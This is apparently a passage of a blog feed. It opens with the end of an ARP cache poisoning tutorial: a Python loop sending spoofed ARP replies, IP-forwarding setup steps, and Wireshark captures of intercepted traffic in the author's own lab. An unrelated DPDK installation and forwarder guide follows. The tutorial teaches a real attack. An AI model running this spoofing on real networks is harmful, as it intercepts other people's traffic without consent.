</span> <span class="n">target_mac</span> <span class="o">=</span> <span class="n">get_mac</span><span class="p">(</span><span class="n">target_ip</span><span class="p">)</span>
<span class="c1"># Keep sending spoofed ARP responses
</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="c1"># Poison target's ARP cache table
</span> <span class="n">poison_arp_cache</span><span class="p">(</span><span class="n">target_ip</span><span class="p">,</span> <span class="n">target_mac</span><span class="p">,</span> <span class="n">default_gateway_ip</span><span class="p">)</span>
<span class="c1"># Poison default gateway's ARP cache table
</span> <span class="n">poison_arp_cache</span><span class="p">(</span><span class="n">default_gateway_ip</span><span class="p">,</span> <span class="n">default_gateway_mac</span><span class="p">,</span> <span class="n">target_ip</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="note-on-enabling-packet-forwarding">Note on Enabling Packet Forwarding</h3>
<p>To allow packets from the target or the gateway to be forwarded, we must enable packet forwarding so that our system acts as a router. Whenever a packet not destined to our system arrives, the OS automatically forwards it to the appropriate host.</p>
<p>To enable this on Linux, we must do the following.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo </span>1 <span class="o">></span> /proc/sys/net/ipv4/ip_forward
</code></pre></div></div>
<p>On windows, we must carry out the following steps.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Open Regedit as administrator,
2. Navigate to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip\Parameters\IPEnableRouter setting,
3. Right-click and select Modify,
4. Change 0 to 1 and exit the editor,
5. Type services.msc in the command prompt,
6. Navigate to the Routing and Remote Access service,
7. Right-click and select Properties,
8. Change to Automatic and click on Start to start the service.
</code></pre></div></div>
<h1 id="mitm-results">MITM Results</h1>
<p>On running the <em>perform_mitm</em> function, all communications between the gateway and the target now pass through my laptop. On sending a GET request to <strong>www.resonous.com</strong> from the Raspberry PI, we can see the same request in my laptop.</p>
<p><img src="../../assets/images/arp-spoofing/curl-resonous.png" alt="ARP Packet Format" /></p>
<p><img src="../../assets/images/arp-spoofing/wireshark-get.png" alt="ARP Packet Format" /></p>
<p><img src="../../assets/images/arp-spoofing/wireshark-get-depth.png" alt="ARP Packet Format" /></p>
<p>Since the GET request resulted in moved result, we can curl the website over https in the following manner.</p>
<p><img src="../../assets/images/arp-spoofing/res-https.png" alt="ARP Packet Format" /></p>
<p>The same can be seen in Wireshark.</p>
<p><img src="../../assets/images/arp-spoofing/wireshark-https-depth.png" alt="ARP Packet Format" /></p>
<p>That’s it for this post. The complete script is available at my GitHub <a href="https://github.com/venkat-abhi/arp-cache-poisoner">page</a></p>Abhishek K VenkataWhat is ARP? At the lowest level, a switch connects a bunch of hosts together. If a protocol P on a host S wants to send some information to another host R on the network, S needs to find out the Ethernet address of R before it can transmit the packet. There must be a mapping of the address of R in protocol Ps address space to a 48-bit Ethernet address, to get the Ethernet address of R. The Address Resolution Protocol (ARP) provides this resolution.A Look into Intel DPDK and a Basic Forwarder2019-06-28T00:00:00+00:002019-06-28T00:00:00+00:00https://fsec404.github.io/blog/overview-of-dpdk-and-installation<h1 id="introduction">Introduction</h1>
<p>The current Linux network stack, although very capable for general purpose applications, is unable to handle high throughputs required in applications such as the mobile core network processing.</p>
<p>This performance drop is mainly due to the number of levels the packets has to pass through before it is available to the user application. First, the packet, on arrival, is placed in the Rx/Tx queues of the NIC, then it is passed to the ring buffers from where the socket finally reads it and passes the data to the application running in the user space.</p>
<p><img src="../../assets/images/dpdk/pkt-kernel.PNG" alt="packet through kernel" /></p>
<p>These steps involve much overhead due to the various system calls, context switches, and interrupt handling in the kernel.</p>
<h2 id="kernel-bypass">Kernel Bypass</h2>
<p>A typical modern NIC can handle a 10Gb throughput, which translates to around 1,230ns between two 1538-byte packet (<a href="https://lwn.net/Articles/629155/">LWN</a>). A 100Gb interface drops the time further to around 120ns. This delay means that the interface is handling 8.15 million packets per second. However, the kernel is unable to process the packets at such rates, thereby becoming the bottleneck.</p>
<p>To get around the bottleneck, one mechanism to allow for faster processing involves a technique called “kernel bypass.” This technique, as the name suggests, involves bypassing the kernel completely. The mechanism requires us to move control of the Ethernet hardware directly into the userspace. This shift in control gives us a significant performance boost as there is no more overhead due to the Linux kernel.</p>
<p>This mechanism is what Intel DPDK utilizes to allow the user applications to communicate directly with the network devices.</p>
<p><img src="../../assets/images/dpdk/dpdk-kernel-bypass.PNG" alt="packet bypassing kernel" /></p>
<p>DPDK provides a framework which makes many tasks essential to core networks, such as flow classification, traffic metering, and QoS management, very simple to handle.</p>
<p>To move the control of the NICs to the userspace applications, we must first unbind them from the kernel drivers and bind them to the drivers provided by DPDK. This binding/unbinding is carried out by utilizing a feature of the Linux kernel where every driver has bind and unbind files associated with it. To unbind a device from a driver, we must write the bus id of the device to the unbind file and to bind the device a kernel driver; we must write the bus id of the device to the bind file. Note that we must first ensure that no other driver is controlling the device before it is added to the bind file (<a href="https://lwn.net/Articles/143397/">manual-driver-binding</a>).</p>
<h1 id="dpdk-installation">DPDK Installation</h1>
<p>In this tutorial, we are installing the DPDK 18.11.2 (Stable) version. It is present at <a href="http://core.dpdk.org/download/">Download</a>. My setup is a Ubuntu 16.04.06 64-bit machine running as a VM with two network interfaces. On VMWare, we can add network interfaces by adding network adapters in the virtual machine’s settings page. Similar steps can be followed in VirtualBox.</p>
<h2 id="system-requirements">System Requirements</h2>
<p>Before we move on to the installation of DPDK, our system needs to have a few required tools, and libraries.</p>
<ul>
<li>make,</li>
<li>GNU Coreutils,</li>
<li>gcc version >= 4.9</li>
<li>gcc-multilib,</li>
<li>libnuma-dev,</li>
<li>Python version 2.7+ or 3.2+</li>
</ul>
<p>A more complete set of prerequisites are present at <a href="https://doc.dpdk.org/guides-18.11/linux_gsg/sys_reqs.html">requirements</a>.</p>
<h2 id="installation">Installation</h2>
<p>On extracting the folder, we can go into the <em>usertools/</em> directory. In this directory, a setup script <strong>(dpdk-setup.sh)</strong> is present which automates most of the steps required to set up the DPDK environment. Note that it is possible to compile and set up the environment manually, but in this tutorial, we are using the script.</p>
<p>Since it is an x86-64 architecture, I have selected the <em>x86_64-native-linuxapp-gcc</em> build (option 15).</p>
<p><img src="../../assets/images/dpdk/setup-menu.PNG" alt="dpdk-setup" /></p>
<p>It starts building, and on completion, we are presented with the following screen.</p>
<p><img src="../../assets/images/dpdk/setup-build-success.PNG" alt="dpdk-build-success" /></p>
<p>Now, we can load the kernel module for the network interfaces. I am using the IGB UIO module for this tutorial. I have tried the other two modules but could not successfully bind them to the network interfaces. It is mentioned in the <a href="https://dev.dpdk.narkive.com/ykSt5Rlc/dpdk-dev-which-driver-to-bind-for-the-nic-interfaces">dpdk mailing list</a> that the IGB UIO module should work for all the cases, but the other two modules (<em>vfio</em> and <em>uio_pci_generic</em>) have a few restrictions.</p>
<p>To load the module, we select the <em>insert IGB UIO module</em> option. Next, we have to set up the Hugepages which DPDK uses for allocating space for the packet buffers. The usage of Hugepages improves performance due to the reduced number of TLB misses. We use the <em>setup HugePages for a NUMA system</em> option and reserve 1024 pages. The script then reserves the Hugepage memory and makes it available to DPDK at the mount point <em>/mnt/huge</em>.</p>
<p><img src="../../assets/images/dpdk/setup-huge-pages.PNG" alt="dpdk-Hugepage-setup" /></p>
<p>Now, we can take a look at our interfaces by selecting the option 23. On my system, the following interfaces are available.</p>
<p><img src="../../assets/images/dpdk/interfaces-available.PNG" alt="interfaces-available" /></p>
<p>It shows that two interfaces, ens33 and ens38, are bound to the kernel driver. To use either of the interfaces in our applications, we must bind them to the igb_uio module. The binding is done by selecting option 24. If we get the message that the interface is active and is not modified</p>
<p><img src="../../assets/images/dpdk/bind-not-modifying.PNG" alt="bind-not-modifying" /></p>
<p>we can use another script in the same directory and force the bind using the following command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> ./dpdk-devbind.py <span class="nt">--force</span> <span class="nt">-b</span> igb_uio <interface name or PCI address>
</code></pre></div></div>
<p>It now shows that the interface (ens33 in my case) is using the igb_uio driver.</p>
<p><img src="../../assets/images/dpdk/bind-igb.PNG" alt="igb-bind" /></p>
<p>This means that the Linux kernel has no longer any control of the interface. This is confirmed by looking at the results of ifconfig. We see that ens33 is missing.</p>
<p><img src="../../assets/images/dpdk/ens33-missing.PNG" alt="ens33 missing" /></p>
<p>To test our installation, we can build the examples. Before that, we must, if not done already, set the following environment variables ($RTE_TARGET, and $RTE_SDK). They are set in the following manner.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /path-to-thetop-level-DPDK-directory/
<span class="nb">export </span><span class="nv">RTE_TARGET</span><span class="o">=</span>x86_64-native-linux-gcc
<span class="nb">export </span><span class="nv">RTE_SDK</span><span class="o">=</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span>
</code></pre></div></div>
<p>Now we can compile our examples. We can either compile only the required examples or all of them. I have compiled all of them using the following command.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make <span class="nt">-C</span> examples/ <span class="nv">RTE_SDK</span><span class="o">=</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span> <span class="nv">RTE_TARGET</span><span class="o">=</span>x86_64-native-linuxapp-gcc/ <span class="nv">O</span><span class="o">=</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span>/build/examples
</code></pre></div></div>
<p>The built files are placed into the <em>build/examples</em> directory.</p>
<p><img src="../../assets/images/dpdk/examples-build.PNG" alt="built-examples" /></p>
<p>To test our build, we can use the standard hello world example. To run it, we type</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> ./build/examples/helloworld/x86_64-native-linuxapp-gcc/helloworld
</code></pre></div></div>
<p>We get the following output on running the above command.</p>
<p><img src="../../assets/images/dpdk/hello-world.PNG" alt="hello world" /></p>
<h1 id="basic-forwarder">Basic Forwarder</h1>
<p>Next, we test the basic forwarder present in the <em>skeleton/</em> directory. Note that this application requires that we have two ports, but since my setup is using only one, I have modified the program <em>/examples/skeleton/basic-fwd.c</em> in the following manner.</p>
<p>At line 175, change</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">nb_ports</span> <span class="o"><</span> <span class="mi">2</span> <span class="o">||</span> <span class="p">(</span><span class="n">nb_ports</span> <span class="o">&</span> <span class="mi">1</span><span class="p">))</span>
<span class="n">rte_exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">,</span> <span class="s">"Error: number of ports must be even</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
</code></pre></div></div>
<p>to</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">nb_ports</span> <span class="o"><</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">rte_exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">,</span> <span class="s">"Error: number of ports less than one</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Then at line 141, change</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Send burst of TX packets, to second port of pair. */</span>
<span class="k">const</span> <span class="kt">uint16_t</span> <span class="n">nb_tx</span> <span class="o">=</span> <span class="n">rte_eth_tx_burst</span><span class="p">(</span><span class="n">port</span> <span class="o">^</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>
<span class="n">bufs</span><span class="p">,</span> <span class="n">nb_rx</span><span class="p">);</span>
</code></pre></div></div>
<p>to</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Send burst of TX packets, on the same port. */</span>
<span class="k">const</span> <span class="kt">uint16_t</span> <span class="n">nb_tx</span> <span class="o">=</span> <span class="n">rte_eth_tx_burst</span><span class="p">(</span><span class="n">port</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>
<span class="n">bufs</span><span class="p">,</span> <span class="n">nb_rx</span><span class="p">);</span>
</code></pre></div></div>
<p>We also add the following code block, right after line 139, to print the mac addresses of the packets passing through.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">nb_rx</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">ether_hdr</span> <span class="o">*</span><span class="n">eth</span><span class="p">;</span>
<span class="n">eth</span> <span class="o">=</span> <span class="n">rte_pktmbuf_mtod</span><span class="p">(</span><span class="n">bufs</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="k">struct</span> <span class="n">ether_hdr</span> <span class="o">*</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">------------------------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">print_ether_addr</span><span class="p">(</span><span class="s">"Source Mac Address: "</span><span class="p">,</span> <span class="o">&</span><span class="n">eth</span><span class="o">-></span><span class="n">s_addr</span><span class="p">);</span>
<span class="n">print_ether_addr</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Destination Mac Address: "</span><span class="p">,</span> <span class="o">&</span><span class="n">eth</span><span class="o">-></span><span class="n">d_addr</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">------------------------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We define the print_ether_addr() as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">print_ether_addr</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">what</span><span class="p">,</span> <span class="k">struct</span> <span class="n">ether_addr</span> <span class="o">*</span><span class="n">eth_addr</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="n">ETHER_ADDR_FMT_SIZE</span><span class="p">];</span>
<span class="n">ether_format_addr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">ETHER_ADDR_FMT_SIZE</span><span class="p">,</span> <span class="n">eth_addr</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%s%s"</span><span class="p">,</span> <span class="n">what</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We can now compile the program using the command to compile all the examples. On running the program using the following command,</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> ./build/examples/skeleton/x86_64-native-linuxapp-gcc/basicfwd
</code></pre></div></div>
<p>we get the following output.</p>
<p><img src="../../assets/images/dpdk/mac-addr-basicfwd.PNG" alt="mac addresses basicfwd" /></p>
<p>This is the end of my first blog post. Please let me know if you have any suggestions.</p>Abhishek K VenkataIntroduction